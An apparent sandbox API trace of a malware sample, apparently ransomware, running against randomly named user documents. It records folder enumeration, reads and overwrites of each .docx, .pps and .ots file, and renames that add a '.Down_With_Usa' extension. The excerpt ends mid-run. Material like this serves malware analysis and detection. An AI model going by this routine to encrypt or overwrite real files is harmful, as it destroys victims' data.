[0119.655] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx", lpFilePart=0x0) returned 0x66
[0119.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0119.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\rwkhppkxsr0a136alsc.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0119.660] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx", lpFilePart=0x0) returned 0x66
[0119.660] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx.Down_With_Usa", lpFilePart=0x0) returned 0x74
[0119.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0119.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\rwkhppkxsr0a136alsc.docx"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f880f40, ftCreationTime.dwHighDateTime=0x1d5dc57, ftLastAccessTime.dwLowDateTime=0x4e3461c0, ftLastAccessTime.dwHighDateTime=0x1d5e38c, ftLastWriteTime.dwLowDateTime=0x23c8b360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12410)) returned 1
[0119.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0119.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\rwkhppkxsr0a136alsc.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\rwkhppkxsr0a136alsc.docx.down_with_usa")) returned 1
[0119.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps", lpFilePart=0x0) returned 0x60
[0119.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0119.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\thkaimm9-4h2dz.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0119.662] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x2c9b
[0119.662] ReadFile (in: hFile=0x3a8, lpBuffer=0x268bf80, nNumberOfBytesToRead=0x2c9b, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x268bf80*, lpNumberOfBytesRead=0x2eadd8*=0x2c9b, lpOverlapped=0x0) returned 1
[0119.720] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps", lpFilePart=0x0) returned 0x60
[0119.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0119.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\thkaimm9-4h2dz.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0119.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps", lpFilePart=0x0) returned 0x60
[0119.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps.Down_With_Usa", lpFilePart=0x0) returned 0x6e
[0119.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0119.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\thkaimm9-4h2dz.pps"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa22a480, ftCreationTime.dwHighDateTime=0x1d5da7a, ftLastAccessTime.dwLowDateTime=0x6a57ed60, ftLastAccessTime.dwHighDateTime=0x1d5db33, ftLastWriteTime.dwLowDateTime=0x23d238e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca0)) returned 1
[0119.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0119.724] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\thkaimm9-4h2dz.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\ThkAIMM9-4H2dz.pps.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\thkaimm9-4h2dz.pps.down_with_usa")) returned 1
[0119.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eaa80) returned 1
[0119.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", nBufferLength=0x105, lpBuffer=0x2ea570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", lpFilePart=0x0) returned 0x53
[0119.725] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\", nBufferLength=0x105, lpBuffer=0x2ea510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\", lpFilePart=0x0) returned 0x54
[0119.725] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\*", lpFindFileData=0x2ea720 | out: lpFindFileData=0x2ea720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.725] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.725] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f5a010, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x543eaa80, ftLastAccessTime.dwHighDateTime=0x1d5e6c0, ftLastWriteTime.dwLowDateTime=0x543eaa80, ftLastWriteTime.dwHighDateTime=0x1d5e6c0, nFileSizeHigh=0x0, nFileSizeLow=0x18037, dwReserved0=0x0, dwReserved1=0x0, cFileName="6O H.pps", cAlternateFileName="6OH~1.PPS")) returned 1
[0119.725] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabbbac0, ftCreationTime.dwHighDateTime=0x1d5db3e, ftLastAccessTime.dwLowDateTime=0xb9384900, ftLastAccessTime.dwHighDateTime=0x1d5e08a, ftLastWriteTime.dwLowDateTime=0xb9384900, ftLastWriteTime.dwHighDateTime=0x1d5e08a, nFileSizeHigh=0x0, nFileSizeLow=0xc375, dwReserved0=0x0, dwReserved1=0x0, cFileName="JZ1sz4.ots", cAlternateFileName="")) returned 1
[0119.726] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d767f10, ftCreationTime.dwHighDateTime=0x1d5e35c, ftLastAccessTime.dwLowDateTime=0x4f8bbec0, ftLastAccessTime.dwHighDateTime=0x1d5d9a4, ftLastWriteTime.dwLowDateTime=0x4f8bbec0, ftLastWriteTime.dwHighDateTime=0x1d5d9a4, nFileSizeHigh=0x0, nFileSizeLow=0x614b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mpr6QeCr.xls", cAlternateFileName="")) returned 1
[0119.726] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c80800, ftCreationTime.dwHighDateTime=0x1d5e73b, ftLastAccessTime.dwLowDateTime=0x3519cee0, ftLastAccessTime.dwHighDateTime=0x1d5e36a, ftLastWriteTime.dwLowDateTime=0x3519cee0, ftLastWriteTime.dwHighDateTime=0x1d5e36a, nFileSizeHigh=0x0, nFileSizeLow=0x16d2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vl05.rtf", cAlternateFileName="")) returned 1
[0119.726] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0119.726] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea9d0) returned 1
[0119.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea990) returned 1
[0119.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eaa80) returned 1
[0119.726] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", nBufferLength=0x105, lpBuffer=0x2ea570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7", lpFilePart=0x0) returned 0x53
[0119.726] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\", nBufferLength=0x105, lpBuffer=0x2ea510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\", lpFilePart=0x0) returned 0x54
[0119.727] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\*", lpFindFileData=0x2ea720 | out: lpFindFileData=0x2ea720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.727] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.727] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f5a010, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x543eaa80, ftLastAccessTime.dwHighDateTime=0x1d5e6c0, ftLastWriteTime.dwLowDateTime=0x543eaa80, ftLastWriteTime.dwHighDateTime=0x1d5e6c0, nFileSizeHigh=0x0, nFileSizeLow=0x18037, dwReserved0=0x0, dwReserved1=0x0, cFileName="6O H.pps", cAlternateFileName="6OH~1.PPS")) returned 1
[0119.727] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabbbac0, ftCreationTime.dwHighDateTime=0x1d5db3e, ftLastAccessTime.dwLowDateTime=0xb9384900, ftLastAccessTime.dwHighDateTime=0x1d5e08a, ftLastWriteTime.dwLowDateTime=0xb9384900, ftLastWriteTime.dwHighDateTime=0x1d5e08a, nFileSizeHigh=0x0, nFileSizeLow=0xc375, dwReserved0=0x0, dwReserved1=0x0, cFileName="JZ1sz4.ots", cAlternateFileName="")) returned 1
[0119.727] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d767f10, ftCreationTime.dwHighDateTime=0x1d5e35c, ftLastAccessTime.dwLowDateTime=0x4f8bbec0, ftLastAccessTime.dwHighDateTime=0x1d5d9a4, ftLastWriteTime.dwLowDateTime=0x4f8bbec0, ftLastWriteTime.dwHighDateTime=0x1d5d9a4, nFileSizeHigh=0x0, nFileSizeLow=0x614b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mpr6QeCr.xls", cAlternateFileName="")) returned 1
[0119.727] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c80800, ftCreationTime.dwHighDateTime=0x1d5e73b, ftLastAccessTime.dwLowDateTime=0x3519cee0, ftLastAccessTime.dwHighDateTime=0x1d5e36a, ftLastWriteTime.dwLowDateTime=0x3519cee0, ftLastWriteTime.dwHighDateTime=0x1d5e36a, nFileSizeHigh=0x0, nFileSizeLow=0x16d2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vl05.rtf", cAlternateFileName="")) returned 1
[0119.727] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ea770 | out: lpFindFileData=0x2ea770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c80800, ftCreationTime.dwHighDateTime=0x1d5e73b, ftLastAccessTime.dwLowDateTime=0x3519cee0, ftLastAccessTime.dwHighDateTime=0x1d5e36a, ftLastWriteTime.dwLowDateTime=0x3519cee0, ftLastWriteTime.dwHighDateTime=0x1d5e36a, nFileSizeHigh=0x0, nFileSizeLow=0x16d2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vl05.rtf", cAlternateFileName="")) returned 0
[0119.727] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea9d0) returned 1
[0119.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea990) returned 1
[0119.728] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps", lpFilePart=0x0) returned 0x5c
[0119.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea790) returned 1
[0119.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\6o h.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea700) returned 1
[0119.728] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ea928 | out: lpFileSizeHigh=0x2ea928*=0x0) returned 0x18037
[0119.729] ReadFile (in: hFile=0x3a8, lpBuffer=0x14ec8248, nNumberOfBytesToRead=0x18037, lpNumberOfBytesRead=0x2ea858, lpOverlapped=0x0 | out: lpBuffer=0x14ec8248*, lpNumberOfBytesRead=0x2ea858*=0x18037, lpOverlapped=0x0) returned 1
[0119.783] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps", nBufferLength=0x105, lpBuffer=0x2ea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps", lpFilePart=0x0) returned 0x5c
[0119.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea7a0) returned 1
[0119.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\6o h.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea710) returned 1
[0119.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps", lpFilePart=0x0) returned 0x5c
[0119.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea460, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps.Down_With_Usa", lpFilePart=0x0) returned 0x6a
[0119.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea8a0) returned 1
[0119.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\6o h.pps"), fInfoLevelId=0x0, lpFileInformation=0x2ea980 | out: lpFileInformation=0x2ea980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f5a010, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x543eaa80, ftLastAccessTime.dwHighDateTime=0x1d5e6c0, ftLastWriteTime.dwLowDateTime=0x23de1fc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18040)) returned 1
[0119.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea860) returned 1
[0119.788] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\6o h.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\6O H.pps.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\6o h.pps.down_with_usa")) returned 1
[0119.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots", lpFilePart=0x0) returned 0x5e
[0119.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea790) returned 1
[0119.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\XBUI7\\JZ1sz4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\xbui7\\jz1sz4.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea700) returned 1
[0119.789] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ea928 | out: lpFileSizeHigh=0x2ea928*=0x0) returned 0xc375
[0119.789] ReadFile (in: hFile=0x3a8, lpBuffer=0x26658a8, nNumberOfBytesToRead=0xc375, lpNumberOfBytesRead=0x2ea858, lpOverlapped=0x0 | out: lpBuffer=0x26658a8*, lpNumberOfBytesRead=0x2ea858*=0xc375, lpOverlapped=0x0) returned 1
